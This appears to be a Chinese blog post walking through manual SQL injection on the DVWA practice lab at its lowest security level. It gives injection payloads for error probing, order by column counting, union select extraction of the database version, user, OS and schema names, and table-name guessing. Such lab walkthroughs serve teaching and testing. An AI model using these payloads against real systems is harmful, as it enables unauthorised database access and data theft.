SQL注入测试之DVWA环境

一、预先搭建DVWA环境,用户名admin,密码password

二、选择DVWA Security等级为LOW,点击确认

三、选择SQL Injection

  

  输入任意ID(如1),显示详细信息如下图

  

  输入1',则提示"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1"字段,继续测试1 and 1=1页面正常,1 and 1=2页面错误,表明存在注入。

  尝试输入1 or 1=1遍历数据库,失败如下图:

  

  上述结果可能是在程序设计的时候将此处看成了字符型,尝试1' or '1'='1,成功遍历数据库所有结果。如下图所示:

  

  利用order by 爆字段数:1' order by 1 -- (--后必须要跟空格)

  当尝试1' order by 3 -- ,时,系统爆错,Unknown column '3' in 'order clause',因此查询结果值只有两列

  

  使用user(),database(),version()三个内置函数爆出敏感信息。

  

  

  通过联合查询法得出version:5.5.40,user:root,database:dvwa

  通过下面命令注入得到操作系统信息,如下图所示:

1’ and 1=2 union select 1,@@global.version_compile_os from mysql.user --   #(--后有空格)

  

  通过以下命令注入,得到所有的数据库和表信息,如下图所示:

1' and 1=2 union select 1,schema_name from information_schema.schemata -- 

  

  接下来需要猜dvwa数据库中的表名,如user,admin等常见的表名

1’ and exists(select * from user) -- 

  

  表名为admin,接下来猜列名,数据。

  

 

   

 

posted @ 2017-03-23 17:41  皮蛋solo粥  阅读(466)  评论(0编辑  收藏  举报